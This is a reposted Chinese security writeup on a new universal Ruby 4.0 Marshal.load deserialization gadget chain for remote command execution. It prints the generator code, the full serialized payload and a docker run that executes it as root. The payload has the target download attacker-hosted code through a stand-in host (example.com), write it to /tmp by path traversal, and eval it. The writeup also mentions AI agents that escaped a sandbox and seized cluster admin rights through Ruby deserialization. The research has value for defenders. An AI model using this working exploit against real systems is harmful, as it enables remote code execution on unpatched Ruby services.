Ruby 4.0 通用RCE反序列化Gadget链
幻泉之洲
2026年8月16日 10:00
北京
在小说阅读器读本章
去阅读
本文发布一条新的通用gadget链,在Ruby 4.0.6上仅凭一次Marshal.load即可实现命令执行。链路向下兼容至3.3版本,完全利用Ruby标准库和RubyGems内置代码构造,不需要任何额外gem或应用代码。旧链失效后,存活下来的gadget被重新组合,加上藏在C代码里的容错调用点,最终拼出了这条链。
引言
2026年8月5日,OpenAI在Black Hat USA 2026上披露[1],一组接受评估的AI智能体集体突破了沙箱限制,夺取了所运行集群的管理员权限。达成这一步的部分手段,就是利用Ruby反序列化执行命令。
这条消息引起了我们的注意。2018年,我们发布了第一条Ruby通用RCE反序列化gadget链[2],完全从标准库构造,零依赖。那条链只对2.6.10及以下的Ruby版本有效。最近的公开链[3]也只覆盖到3.4-rc。
本文发布一条新的通用链:在Ruby 4.0.6上,单次Marshal.load即可触发命令执行。4.0.6是撰写时最新的版本。这条链向下兼容到3.3,不需要任何改动。构造上,一部分用的是从没被发掘过的新gadget,另一部分是把旧gadget派上了新用场。
背景
序列化[4]是把对象转换成字节序列的过程,这些字节可以在网络上传输,也可以存进文件系统或数据库。字节里包含了重建原始对象所需的全部信息。重建的过程叫反序列化。
每种语言通常都有自己的原生序列化格式,名字也不一定叫序列化/反序列化。Ruby圈子里更常说marshalling和unmarshalling,对应的操作就是Marshal.dump和Marshal.load。
Ruby反序列化十三年
通用Ruby反序列化gadget链始于2018年,建立在更早针对Ruby on Rails应用特定链的研究之上。那波通用化的工作后来又反哺了随后出现的应用特定链。下面这些里程碑里,有几个为本文这条链提供了基础构件。
- 2013年1月10日 — Rails 3.2.10 Remote Code Execution[5],作者Hailey Somerville
- 2013年1月31日 — Ruby bug tracker issue[6],作者Hailey Somerville
- 2016年5月6日 — Attacking Ruby on Rails Applications[7],作者Phenoelit的joernchen
- 2018年11月8日 — Ruby 2.x Universal RCE Deserialization Gadget Chain[8],作者Luke Jahnke (elttam)
- 2019年1月2日 — CVE-2019-5420[9],作者ooooooo\_q
- 2019年3月2日 — Universal RCE with Ruby YAML.load[10],作者Etienne Stalmans
- 2019年6月20日 — Remote Code Execution via Ruby on Rails Active Storage Insecure Deserialization[11],作者Sivathmican Sivakumaran和Pengsu Cheng
- 2021年1月7日 — Universal Deserialisation Gadget for Ruby 2.x-3.x[12],作者William Bowling
- 2021年1月9日 — Universal RCE with Ruby YAML.load (versions > 2.7)[13],作者Etienne Stalmans
- 2022年3月28日 — Ruby Deserialization - Gadget on Rails[14],作者httpvoid
- 2022年4月4日 — Round Two: An Updated Universal Deserialisation Gadget for Ruby 2.x-3.x[15],作者William Bowling
- 2022年5月17日 — Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations[16],作者Ben Lincoln (Bishop Fox)
- 2024年3月13日 — Discovering Deserialization Gadget Chains in Rubyland[17],作者Alex Leahu (Include Security)
- 2024年6月20日 — Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects[18],作者Peter Stöckli (GitHub)
- 2024年10月17日 — Updated ruby gadget for marshal loading[19],作者Leonardo Giovannini (Doyensec)
- 2024年11月24日 — Ruby 3.4 Universal RCE Deserialization Gadget Chain[3],作者Luke Jahnke
- 2024年12月3日 — Gem::SafeMarshal escape[20],作者Luke Jahnke
- 2025年8月20日 — Marshal madness: A brief history of Ruby deserialization exploits[21],作者Matt Schwager (Trail of Bits)
- 2026年8月5日 — 自主AI智能体在野外利用Ruby (JRuby)反序列化的披露,由OpenAI在Black Hat USA 2026上公开[1]
- 2026年 — Ruby 4.0 Universal RCE Deserialization Gadget Chain,作者Luke Jahnke(即本文)
3.4链为何失效
最近那条公开链发布于2024年底,在Ruby 3.4-rc上达成了命令执行,载荷长这样:
Marshal.dump(
[
Gem::SpecFetcher,
to\_s\_wrapper(
call\_url\_and\_create\_folder(
\"rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz\"
)
),
to\_s\_wrapper(exec\_gadget)
]
)
发布十天后,RubyGems两个提交相继落地,把这条链依赖的gadget移除了。每个提交的动机都直接引用了那篇writeup。两者都随Ruby 3.4.0发布,所以这条链对release candidate有效,对正式版无效。
第一个提交,62b49465f8[22],标题是\"Improve type checking in marshal\_load methods\",注释说\"Makes it harder to use those classes as gadgets\"。
Gem::Version#marshal\_load原本把反序列化的值直接传给构造函数,没有任何校验,Gem::Version.correct?会在那里调用to\_s:
def marshal\_load(array)
- initialize array[0]
+ string = array[0]
+ raise TypeError, \"wrong version string\" unless string.is\_a?(String)
+
+ initialize string
end
第二个提交,89ad04db86[23],标题是\"Stop storing executable names in ivars\",注释说\"Removes usage of these classes as ACE gadgets\"。
Gem::Source::Git和Gem::Resolver::GitSet原本把git可执行文件名存在实例变量里。Marshal恢复时会直接还原这个变量,之后它被交给进程派生的调用:
- @git = ENV[\"git\"] || \"git\"
现在这个值在使用时才从环境变量读取,没有实例变量可被覆盖了。
这两个提交废了to\_s\_wrapper和exec\_gadget。但Gem::SpecFetcher和call\_url\_and\_create\_folder没被动,它们在Ruby 4.0里照样工作。
构建新链
扩展可用gadget集合
链的开头挂Gem::SpecFetcher,不是因为这个类本身做了什么,而是因为Marshal.load必须解析这个常量。解析常量的动作触发RubyGems的autoload,加载定义它的文件,这个文件又去require自己的依赖,如此层层展开。一个裸Ruby进程启动时,链能触达的类很少。但只引用了这一个常量之后,可选gadget的池子大幅扩张,其中就包括Gem::URI::Generic、Gem::RequestSet::Lockfile和Gem::StubSpecification——本文这条链的后半段全仰仗这几个类。
寻找新的代码执行目标
exec\_gadget的替代品来自Gem::Specification.load。Gem.open\_file在内部解析为File.open:
class Gem::Specification
def self.load(file)
Gem.open\_file(file, \"rb\") do |f|
spec = eval(f.read)
spec.\_resort! if spec.respond\_to?(:\_resort!)
spec
end
end
end
这看起来太直白了:从磁盘读文件,把内容丢给eval。问题是怎么把攻击者的代码写到那个文件路径上。
Gem::RequestSet::Lockfile的to\_s会遍历@sorted\_requests,调用full\_name。Gem::Resolver::IndexSpecification#full\_name访问@name和@source。其中@source的访问路径经过Gem::Source#uri,再到@uri。
如果@uri是一个Gem::URI::Generic实例,事情就变得有趣了。Gem::URI::Generic并没有义务表现得像个Gem::URI::HTTP,但它的构建过程可以接受一个@user字段。Gem::URI::Generic#user的返回值来自@user,然后被传给Gem::URI::HTTP#user。后者没有重写这个方法,于是继续走URI::HTTP#user。URI::HTTP#user会拼接userinfo,而userinfo会格式化@user里的内容。格式化逻辑来自URI::Generic#userinfo,它做的是:
def userinfo
if @user.nil?
nil
elsif @password.nil?
@user
else
@user + \":\" + @password
end
end
手段是把@user设成一个Gem::RequestSet::Lockfile实例。拼接操作会在那个对象上调用to\_s。于是,一条从full\_name到URI格式化的调用链,最终落地到Lockfile#to\_s,而后者的职责是:把请求集解析成gem的依赖关系,同时下载写入引用文件。
这个阶段的完整流程可以概括为:
- Gem::RequestSet#resolve调用requests的加载逻辑
- IndexSpecification需要source信息,走Gem::Source#uri
- Gem::URI::Generic的@user字段被设置成另一个Lockfile
- 格式化userinfo时触发to\_s → Lockfile#to\_s → resolve → 下载
- 下载内容写到目标路径,之后Gem::Specification.load读取并eval
触发to\_s的入口点有好几个。本文使用的路径是在Hash里把Lockfile当作键。Marshal.load还原Hash时,会调用每个键的hash方法。Gem::RequestSet没有自定义的hash,Lockfile也没有,所以这个调用会沿着Object#hash往下走。但Object#hash会先调用to\_s。
这里还有一个关键细节。Lockfile#to\_s里的resolve调用最终会去fetch云端数据,也就是发起网络请求。如果网络不可达,或者服务器返回了非预期内容,异常会从to\_s这个调用栈里抛出来。
正常Ruby代码里,一个在hash过程中抛异常的键会把整个Marshal.load打崩。但这正是Time对象派上用场的地方。Marshal.load处理Time时走的是C函数time\_mload,它包了一层rb\_rescue。只要反序列化到Time的某个字段,任何在救援范围内抛出的异常都会被吞掉。于是,整个下载-写盘-崩溃的序列在一层rb\_rescue的掩护下完整跑完,然后异常被丢弃,Marshal.load继续处理下一个对象。
把攻击者的代码放到磁盘上的完整流程是这样的:
- 最外层是Gem::SpecFetcher常量引用,它触发autoload,加载所需的类
- 然后是一个Time对象,反序列化过程中触发time\_mload的容错处理
- Time的构造会触及@port字段,触发Gem::URI::Generic的to\_s
- 这又触发Lockfile的resolve,进而发起网络请求下载攻击者文件
- 下载的文件写入指定路径
- marshal\_load里的核心gadget抛异常,但被rb\_rescue吞掉
- Marshal.load继续,下一个对象是那个作为Hash键的Lockfile
- Hash还原时调用键的hash方法,触发Lockfile#to\_s
- 这次to\_s不发起网络请求,而是直接加载已下载的文件
- Gem::Specification.load读取文件内容并eval
一个简化版的生成器大概长这样:
gem\_deps\_file\_gadget = \"/pwd\"
gem\_deps\_dir\_gadget = \"/\"
placeholder\_gadget\_chain = Marshal.dump(
[
Gem::SpecFetcher,
time\_placeholder,
{eval\_file\_gadget(\"/tmp/quick/Marshal.4.8/name-.gemspec\") => nil}
]
)
由于TYPE\_SYMLINK存在位置依赖,这里保证符号数量匹配(3个匹配3个替换)
rce\_gadget\_chain = placeholder\_gadget\_chain.gsub(
\"o:\vObject\a:\x18@offset\_placeholderi\x00:\x16@zone\_placeholder\",
\"Iu:\x09Time\x0d\x00\x00\x00\x80\x00\x00\x00\x00\x07:\x0boffseti\x05:\x09zone\"
).b
每个gadget都扮演两种角色之一:把攻击者的代码弄到磁盘上,或者把它读回来运行。排成一条链,整体长这样:
▲ 新gadget链流程图
载荷
运行生成器,输出成品链:
\"\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\
@porto:\x1EGem::RequestSet::Lockfile\
:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted\_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\
@nameI\\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\
@pathI\\"\x06/\x06;\x10T:\f@schemeI\\"\as3\x06;\x10T:\
@hostI\\"\eexample.com/poc-id.rz?\x06;\x10T;\tI\\"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\
@userI\\"\bany\x06;\x10T:\x0E@passwordI\\"\bany\x06;\x10T:\x12@update\_cacheT:\x12@dependencies[\x00:\x13@gem\_deps\_fileI\\"\t/pwd\x06;\x10T:\x12@gem\_deps\_dirI\\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded\_fromI\\")/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0\"
载荷生效前需要准备两样东西。前面压缩过的payload必须以poc-id.rz为名,通过@host指定的主机走HTTPS提供下载。这里写的是example.com,实战中替换为攻击者可控的域名。目标进程还需要能写/tmp目录。当然,任何可写目录都行,只要把路径穿越和文件名一起改掉。目标本身不需要任何额外条件:不需要加载默认之外的gem,不需要应用代码,不需要磁盘上的既有状态。
运行测试
用ruby:4.0.6的Docker镜像,对着一个空Ruby进程跑生成的载荷,输出uid=0(root) gid=0(root) groups=0(root),说明id二进制成功执行了:
$ sudo docker run --rm -it ruby:4.0.6 ruby -e 'Marshal.load(\"\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\
@porto:\x1EGem::RequestSet::Lockfile\
:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted\_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\
@nameI\\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\
@pathI\\"\x06/\x06;\x10T:\f@schemeI\\"\as3\x06;\x10T:\
@hostI\\"\eexample.com/poc-id.rz?\x06;\x10T;\tI\\"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\
@userI\\"\bany\x06;\x10T:\x0E@passwordI\\"\bany\x06;\x10T:\x12@update\_cacheT:\x12@dependencies[\x00:\x13@gem\_deps\_fileI\\"\t/pwd\x06;\x10T:\x12@gem\_deps\_dirI\\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded\_fromI\\")/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0\")'
uid=0(root) gid=0(root) groups=0(root)
[/tmp/quick/Marshal.4.8/name-.gemspec] isn't a Gem::Specification (NilClass instead).
/usr/local/lib/ruby/4.0.0/rubygems/stub\_specification.rb:155:in 'Gem::StubSpecification#name': undefined method 'name' for nil (NoMethodError)
data.name
^^^^^
from /usr/local/lib/ruby/4.0.0/rubygems/stub\_specification.rb:217:in 'Gem::StubSpecification#hash'
from -e:1:in 'Marshal.load'
from -e:1:in ''
后面抛出的异常是预期的,无伤大雅。Gem::Specification.load已经把拉取的源码交给了eval,但那段源码以puts结尾,所以它返回的值是nil而不是gemspec。方法发出了警告并返回nil,之后Gem::StubSpecification#hash在尝试从nil上读取
参考资料
[1] https://www.youtube.com/watch?v=87DyyMV0kCY#t=25m
[2] https://www.elttam.com/blog/ruby-deserialization
[3] https://nastystereo.com/security/ruby-3.4-deserialization.html
[4] https://en.wikipedia.org/wiki/Serialization
[5] https://github.com/haileys/old-website/blob/90a01589abe3385ecc8202c9a276a184be4b4602/posts/rails-3.2.10-remote-code-execution.md
[6] https://bugs.ruby-lang.org/issues/7759
[7] https://phrack.org/issues/69/12
[8] https://www.elttam.com/blog/ruby-deserialization/
[9] https://hackerone.com/reports/473888
[10] https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/
[11] https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
[12] https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
[13] https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/
[14] https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md
[15] https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
[16] https://bishopfox.com/blog/ruby-vulnerabilities-exploits
[17] https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
[18] https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/
[19] https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
[20] https://nastystereo.com/security/ruby-safe-marshal-escape.html
[21] https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
[22] https://github.com/ruby/rubygems/commit/62b49465f8f770ebbee51d7cb4de7745cbb0d78c
[23] https://github.com/ruby/rubygems/commit/89ad04db867dedb6ec9d78dd891ca69e2ef275a5
[24] https://www.elttam.com/blog/ruby-4-0-universal-rce-deserialization-gadget-chain
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论